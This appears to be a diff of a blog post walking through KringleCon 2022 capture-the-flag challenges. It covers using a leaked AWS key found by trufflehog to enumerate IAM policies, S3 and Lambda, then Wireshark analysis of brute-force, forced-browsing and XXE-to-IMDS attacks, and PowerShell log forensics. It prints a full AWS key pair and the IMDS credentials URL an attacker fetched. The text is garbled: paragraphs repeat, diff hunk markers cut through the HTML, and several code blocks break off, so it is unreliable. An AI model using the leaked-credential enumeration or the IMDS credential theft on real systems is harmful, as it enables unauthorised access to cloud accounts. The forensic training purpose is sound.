Configure these credentials for us-east-1 and then run: aws sts get-caller-identity</p></blockquote><p>Let&rsquo;s clone the repository and change directories into it.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>git clone https://haugfactory.com/asnowball/aws_scripts.git
</span></span><span style=display:flex><span>cd aws_scripts
</span></span></code></pre></div><p>We will run trufflehog and point it to the git repository like so:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>trufflehog git https://haugfactory.com/asnowball/aws_scripts.git
</span></span></code></pre></div><p>We will run trufflehog and point it to the git repository like so:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>trufflehog git https://haugfactory.com/asnowball/aws_scripts.git
</span></span></code></pre></div><pre tabindex=0><code># --{snip}--
Found unverified result 🐷🔑❓
@@ -152,9 +152,9 @@ Timestamp: 2022-09-07 07:53:12 -0700 -0700
Line: 6
# --{snip}--
</code></pre><p>Trufflehog has discovered an AWS key in the file <code>put_policy.py</code> for the commit hash <code>106d33e1ffd53eea753c1365eafc6588398279b5</code>. One of the objectives named <strong>Trufflehog Search</strong> asks for the file where the credentials are found. We will submit <code>put_policy.py</code> there.</p><p>Let&rsquo;s reset to that commit and inspect the <code>put_policy.py</code> file.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>git reset --hard 106d33e1ffd53eea753c1365eafc6588398279b5
</code></pre><p>Trufflehog has discovered an AWS key in the file <code>put_policy.py</code> for the commit hash <code>106d33e1ffd53eea753c1365eafc6588398279b5</code>. One of the objectives named <strong>Trufflehog Search</strong> asks for the file where the credentials are found. We will submit <code>put_policy.py</code> there.</p><p>Let&rsquo;s reset to that commit and inspect the <code>put_policy.py</code> file.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>git reset --hard 106d33e1ffd53eea753c1365eafc6588398279b5
</span></span><span style=display:flex><span>cat put_policy.py
</span></span></code></pre></div><p>We get the key and the secret.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-py data-lang=py><span style=display:flex><span><span style=color:#75715e># --{snip}--</span>
</span></span></code></pre></div><p>We get the key and the secret.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-py data-lang=py><span style=display:flex><span><span style=color:#75715e># --{snip}--</span>
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span> aws_access_key_id<span style=color:#f92672>=</span><span style=color:#e6db74>&#34;AKIAAIDAYRANYAHGQOHD&#34;</span>,
</span></span><span style=display:flex><span> aws_secret_access_key<span style=color:#f92672>=</span><span style=color:#e6db74>&#34;e95qToloszIgO9dNBsQMQsc5/foiPdKunPJwc1rL&#34;</span>,
@@ -164,14 +164,14 @@ Line: 6
AWS Secret Access Key [None]: e95qToloszIgO9dNBsQMQsc5/foiPdKunPJwc1rL
Default region name [None]: us-east-1
Default output format [None]:
</code></pre><p>Now to get our caller identity.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>aws sts get-caller-identity
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</code></pre><p>Now to get our caller identity.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>aws sts get-caller-identity
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;UserId&#34;</span>: <span style=color:#e6db74>&#34;AIDAJNIAAQYHIAAHDDRA&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;Account&#34;</span>: <span style=color:#e6db74>&#34;602123424321&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;Arn&#34;</span>: <span style=color:#e6db74>&#34;arn:aws:iam::602123424321:user/haug&#34;</span>
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>We are told that managed (shared) policies can be attached to multiple users. The next task is to use the AWS CLI to find any policies attached to our user.</p><p>We will use the <code>list-attached-user-policies</code> subcommand of the <code>aws iam</code> command. We have to supply our username (<code>haug</code>, as apparent from the value of the <code>Arn</code> field) through the <code>--user-name</code> flag.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>aws iam list-attached-user-policies --user-name haug
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span></code></pre></div><p>We are told that managed (shared) policies can be attached to multiple users. The next task is to use the AWS CLI to find any policies attached to our user.</p><p>We will use the <code>list-attached-user-policies</code> subcommand of the <code>aws iam</code> command. We have to supply our username (<code>haug</code>, as apparent from the value of the <code>Arn</code> field) through the <code>--user-name</code> flag.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>aws iam list-attached-user-policies --user-name haug
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;AttachedPolicies&#34;</span>: [
</span></span><span style=display:flex><span> {
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;PolicyName&#34;</span>: <span style=color:#e6db74>&#34;TIER1_READONLY_POLICY&#34;</span>,
@@ -180,9 +180,9 @@ Default output format [None]:
</span></span><span style=display:flex><span> ],
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;IsTruncated&#34;</span>: <span style=color:#66d9ef>false</span>
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>Now we are asked to <code>get</code> the policy attached to our user. We will use the <code>get-policy</code> subcommand and supply the value of the <code>PolicyArn</code> field from the previous output to the <code>--policy-arn</code> flag.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>aws iam get-policy <span style=color:#ae81ff>\
</span></span></code></pre></div><p>Now we are asked to <code>get</code> the policy attached to our user. We will use the <code>get-policy</code> subcommand and supply the value of the <code>PolicyArn</code> field from the previous output to the <code>--policy-arn</code> flag.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>aws iam get-policy <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span>--policy-arn <span style=color:#e6db74>&#34;arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY&#34;</span>
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;Policy&#34;</span>: {
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;PolicyName&#34;</span>: <span style=color:#e6db74>&#34;TIER1_READONLY_POLICY&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;PolicyId&#34;</span>: <span style=color:#e6db74>&#34;ANPAYYOROBUERT7TGKUHA&#34;</span>,
@@ -198,10 +198,10 @@ Default output format [None]:
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;Tags&#34;</span>: []
</span></span><span style=display:flex><span> }
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>We need to view the default version of the policy.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>aws iam get-policy-version <span style=color:#ae81ff>\
</span></span></code></pre></div><p>We need to view the default version of the policy.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>aws iam get-policy-version <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span>--policy-arn <span style=color:#e6db74>&#34;arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY&#34;</span> <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span>--version-id v1
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;PolicyVersion&#34;</span>: {
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;Document&#34;</span>: {
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;Version&#34;</span>: <span style=color:#e6db74>&#34;2012-10-17&#34;</span>,
@@ -247,15 +247,15 @@ Default output format [None]:
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;CreateDate&#34;</span>: <span style=color:#e6db74>&#34;2022-06-21 22:02:30+00:00&#34;</span>
</span></span><span style=display:flex><span> }
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>We are asked to use the AWS CLI to list the inline policies associated with our user, policies that are unique to a particular identity or resource.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>aws iam list-user-policies --user-name haug
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span></code></pre></div><p>We are asked to use the AWS CLI to list the inline policies associated with our user, policies that are unique to a particular identity or resource.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>aws iam list-user-policies --user-name haug
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;PolicyNames&#34;</span>: [
</span></span><span style=display:flex><span> <span style=color:#e6db74>&#34;S3Perms&#34;</span>
</span></span><span style=display:flex><span> ],
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;IsTruncated&#34;</span>: <span style=color:#66d9ef>false</span>
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>We will <code>get</code> this policy using the <code>get-user-policy</code> subcommand.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>aws iam get-user-policy --user-name haug --policy-name S3Perms
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span></code></pre></div><p>We will <code>get</code> this policy using the <code>get-user-policy</code> subcommand.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>aws iam get-user-policy --user-name haug --policy-name S3Perms
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;UserPolicy&#34;</span>: {
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;UserName&#34;</span>: <span style=color:#e6db74>&#34;haug&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;PolicyName&#34;</span>: <span style=color:#e6db74>&#34;S3Perms&#34;</span>,
@@ -277,8 +277,8 @@ Default output format [None]:
</span></span><span style=display:flex><span> },
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;IsTruncated&#34;</span>: <span style=color:#66d9ef>false</span>
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>The inline user policy named S3Perms disclosed the name of an S3 bucket we have permissions to list objects. Let&rsquo;s list those objects!</p><p>We know the S3 bucket&rsquo;s name from the <code>Resource</code> field to be <code>smogmachines3</code>. We&rsquo;ll use the <code>list-objects</code> subcommand of the <code>aws s3api</code> command and supply the bucket&rsquo;s name to the <code>--bucket</code> flag.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>aws s3api list-objects --bucket smogmachines3
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span></code></pre></div><p>The inline user policy named S3Perms disclosed the name of an S3 bucket we have permissions to list objects. Let&rsquo;s list those objects!</p><p>We know the S3 bucket&rsquo;s name from the <code>Resource</code> field to be <code>smogmachines3</code>. We&rsquo;ll use the <code>list-objects</code> subcommand of the <code>aws s3api</code> command and supply the bucket&rsquo;s name to the <code>--bucket</code> flag.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>aws s3api list-objects --bucket smogmachines3
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;IsTruncated&#34;</span>: <span style=color:#66d9ef>false</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;Marker&#34;</span>: <span style=color:#e6db74>&#34;&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;Contents&#34;</span>: [
@@ -332,8 +332,8 @@ Default output format [None]:
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;MaxKeys&#34;</span>: <span style=color:#ae81ff>1000</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;EncodingType&#34;</span>: <span style=color:#e6db74>&#34;url&#34;</span>
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>The attached user policy provide us several Lambda privileges. We are instructed to use the AWS CLI to list Lambda functions.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>aws lambda list-functions
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span></code></pre></div><p>The attached user policy provide us several Lambda privileges. We are instructed to use the AWS CLI to list Lambda functions.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>aws lambda list-functions
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;Functions&#34;</span>: [
</span></span><span style=display:flex><span> {
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;FunctionName&#34;</span>: <span style=color:#e6db74>&#34;smogmachine_lambda&#34;</span>,
@@ -383,8 +383,8 @@ Default output format [None]:
</span></span><span style=display:flex><span> }
</span></span><span style=display:flex><span> ]
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>We will use the AWS CLI to get the configuration containing the public URL of the Lambda function, which as seen from line 4 of the previous output is <code>smogmachine_lambda</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>aws lambda get-function-url-config --function-name smogmachine_lambda
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span></code></pre></div><p>We will use the AWS CLI to get the configuration containing the public URL of the Lambda function, which as seen from line 4 of the previous output is <code>smogmachine_lambda</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>aws lambda get-function-url-config --function-name smogmachine_lambda
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;FunctionUrl&#34;</span>: <span style=color:#e6db74>&#34;https://rxgnav37qmvqxtaksslw5vwwjm0suhwc.lambda-url.us-east-1.on.aws/&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;FunctionArn&#34;</span>: <span style=color:#e6db74>&#34;arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;AuthType&#34;</span>: <span style=color:#e6db74>&#34;AWS_IAM&#34;</span>,
@@ -406,8 +406,8 @@ Default output format [None]:
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>That marks the end of this challenge exploiting AWS misconfigurations.</p><h3 id=naughty-ip>Naughty IP</h3><p>We are given <code>boriaArtifacts.zip</code> which we download and unzip. From it, we open up the <code>victim.pcap</code> file in wireshark. We are supposed to find the top talker after the victim server <code>10.12.42.16</code> itself. It is claimed that this IP address has been acting naughty. In wireshark, we go to <code>Statistics</code> > <code>IPv4 Statistics</code> > <code>All Addresses</code>.</p><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-11-20-53-37.png alt=Screenshot-from-2022-12-11-20-53-37.png></p><p>We sort by the column of packet <code>Count</code> in descending order.</p><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-11-20-55-33.png alt=Screenshot-from-2022-12-11-20-55-33.png></p><p>Second to our victim server, we see the IP address <code>18.222.86.32</code> which is the answer to this challenge.</p><h3 id=credential-mining>Credential Mining</h3><p>As a continuation to the previous challenge, we are told that the first attack is a brute force login. We are instructed to find the first username tried. In wireshark, we use the filter <code>http.request.method==POST</code> and look at the first filetered packet (7279).</p><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-11-20-58-32.png alt=Screenshot-from-2022-12-11-20-58-32.png></p><p>In the HTML form URL encoded field, we notice the username &ldquo;alice&rdquo;, the answer to this challenge.</p><h3 id=404-ftw>404 FTW</h3><p>With the same PCAP file, we are asked to examine the next attack which is forced browsing where the naughty one is guessing URLs. We are asked to find the first successful URL path in this attack. With wireshark we filter on <code>http.request.method==GET</code>. This returns the HTTP requests where the method is <code>GET</code>.</p><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-11-21-00-26.png alt=Screenshot-from-2022-12-11-21-00-26.png></p><p>We start noticing a lot of random looking URL paths from time 175.37 seconds. Now, we filter on <code>http.response.code==200 && frame.time_relative > 175.37</code>. This shows us all the HTTP responses which had a status code of 200 (<code>OK</code>) after the relative time frame of 175.37 seconds.</p><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-11-21-02-41.png alt=Screenshot-from-2022-12-11-21-02-41.png></p><p>After around 7 entries (remember, another endpoint was simultaneously requesting for <code>login.html</code> and <code>admin.html</code>), we see that packet 26774 has an HTTP response with status code 200 and the request URI <code>http://www.toteslegit.us/proc</code>. Thus, our answer is <code>/proc</code>.</p><h3 id=imds-xxe-and-other-abbreviations>IMDS, XXE, and Other Abbreviations</h3><p>Continuing the previous exercise, the attacker used XXE to get secret keys from the IMDS service. We are asked to find the URL the attacker forced the server to fetch. Alabaster Snowball gives us the hint that AWS uses a specific IP address to access IMDS which only appears twice in this PCAP. This IP address is <code>169.254.169.254</code> which we can search by using the wireshark filter <code>ip.addr == 169.254.169.254</code>. We use the additional filter of a <code>200 OK</code> response code for valid responses. So, the filter becomes:</p><pre tabindex=0><code>ip.addr == 169.254.169.254 &amp;&amp; http.response.code==200
</code></pre><p><img src=../../kringlecon/2022/Screenshot-from-2022-12-12-10-01-44.png alt=Screenshot-from-2022-12-12-10-01-44.png></p><p>Looking at the request URI of fourth packet in the result (packet 32925), we get <code>http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance</code> which is the answer to this challenge.</p><h3 id=windows-event-logs>Windows Event Logs</h3><h5 id=story>Story:</h5><blockquote><p>Grinchum successfully downloaded his keylogger and has gathered the admin credentials! We think he used PowerShell to find the Lembanh recipe and steal our secret ingredient. Luckily, we enabled PowerShell auditing and have exported the Windows PowerShell logs to a flat text file.</p></blockquote><ol><li>What month/day/year did the attack take place? For example, 09/05/2021.</li></ol><p>We will execute the following command to see the number of events associated with each date.
Here&rsquo;s how the following command works:</p><ul><li><code>grep</code> finds all the text patterns that look like dates from <code>powershell.evtx.log</code></li><li><code>sort -u</code> sorts the unique dates</li><li><code>xargs -I %</code> loops over each date entry storing it in the identifier <code>%</code> and executes a shell script (one inside quotes after <code>sh -c</code>)<ul><li><code>printf</code> prints the entry without a newline</li><li><code>grep</code> looks for the lines having the specific date</li><li><code>wc -l</code> counts the lines up</li></ul></li></ul><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>grep -Po <span style=color:#e6db74>&#34;\d{1,2}/\d{1,2}/\d{4}&#34;</span> powershell.evtx.log | sort -u | xargs -I % sh -c <span style=color:#e6db74>&#39;printf &#34;% &#34;; grep &#34;%&#34; powershell.evtx.log | wc -l&#39;</span>
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span>10/13/2022 46
Here&rsquo;s how the following command works:</p><ul><li><code>grep</code> finds all the text patterns that look like dates from <code>powershell.evtx.log</code></li><li><code>sort -u</code> sorts the unique dates</li><li><code>xargs -I %</code> loops over each date entry storing it in the identifier <code>%</code> and executes a shell script (one inside quotes after <code>sh -c</code>)<ul><li><code>printf</code> prints the entry without a newline</li><li><code>grep</code> looks for the lines having the specific date</li><li><code>wc -l</code> counts the lines up</li></ul></li></ul><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>grep -Po <span style=color:#e6db74>&#34;\d{1,2}/\d{1,2}/\d{4}&#34;</span> powershell.evtx.log | sort -u | xargs -I % sh -c <span style=color:#e6db74>&#39;printf &#34;% &#34;; grep &#34;%&#34; powershell.evtx.log | wc -l&#39;</span>
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-text data-lang=text><span style=display:flex><span>10/13/2022 46
</span></span><span style=display:flex><span>10/31/2022 34
</span></span><span style=display:flex><span>11/11/2022 240
</span></span><span style=display:flex><span>11/13/2022 1
@@ -424,26 +424,26 @@ Here&rsquo;s how the following command works:</p><ul><li><code>grep</code> finds
Answer: 12/24/2022</p><ol start=2><li>An attacker got a secret from a file. What was the original file&rsquo;s name?</li></ol><p>A file you say? Pretty sure the attacker used <code>get-content</code> to read the file. Why don&rsquo;t we search for that?</p><pre tabindex=0><code>grep -i &#34;get-content&#34; powershell.evtx.log
</code></pre><p>The first result we get has the answer!</p><pre tabindex=0><code>Information 12/24/2022 3:05:23 AM Microsoft-Windows-PowerShell 4103 Executing Pipeline &#34;CommandInvocation(Get-Content): &#34;&#34;Get-Content&#34;&#34;
ParameterBinding(Get-Content): name=&#34;&#34;Path&#34;&#34;; value=&#34;&#34;.\Recipe&#34;&#34;
</code></pre><p>Answer: Recipe</p><ol start=3><li>The contents of the previous file were retrieved, changed, and stored to a variable by the attacker. This was done multiple times. Submit the last full PowerShell line that performed only these actions.</li></ol><p>The second last line of the previous command&rsquo;s results can be seen altering the file. We&rsquo;ll submit this line of PowerShell.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-powershell data-lang=powershell><span style=display:flex><span>$foo = Get-Content .\Recipe| % {$_ <span style=color:#f92672>-replace</span> <span style=color:#e6db74>&#39;honey&#39;</span>, <span style=color:#e6db74>&#39;fish oil&#39;</span>} $foo | Add-Content -Path <span style=color:#e6db74>&#39;recipe_updated.txt&#39;</span>
</span></span></code></pre></div><ol start=4><li>After storing the altered file contents into the variable, the attacker used the variable to run a separate command that wrote the modified data to a file. This was done multiple times. Submit the last full PowerShell line that performed only this action.</li></ol><p>We know that this variable is <code>$foo</code> and we can search for it.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>grep -i <span style=color:#e6db74>&#34;\$foo&#34;</span> powershell.evtx.log | tail -n <span style=color:#ae81ff>1</span>
</span></span></code></pre></div><p>This got me stuck for a while before I realized that Windows event logs are in reverse chronologincal order. So, the correct search command would be:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>grep -i <span style=color:#e6db74>&#34;\$foo&#34;</span> powershell.evtx.log | tac | tail -n <span style=color:#ae81ff>1</span>
</span></span></code></pre></div><p>Answer:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-powershell data-lang=powershell><span style=display:flex><span>$foo | Add-Content -Path <span style=color:#e6db74>&#39;Recipe&#39;</span>
</span></span></code></pre></div><ol start=5><li>The attacker ran the previous command against a file multiple times. What is the name of this file?</li></ol><p>If we skim through the event logs where <code>$foo</code> is being written to a file,</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>grep -i <span style=color:#e6db74>&#34;^\$foo | Add-Content&#34;</span> powershell.evtx.log | tac
</span></span></code></pre></div><p>we notice that the attacker also wrote the contents of the variable to &lsquo;Recipe.txt&rsquo;</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-powershell data-lang=powershell><span style=display:flex><span>$foo | Add-Content -Path <span style=color:#e6db74>&#39;recipe_updated.txt&#39;</span>
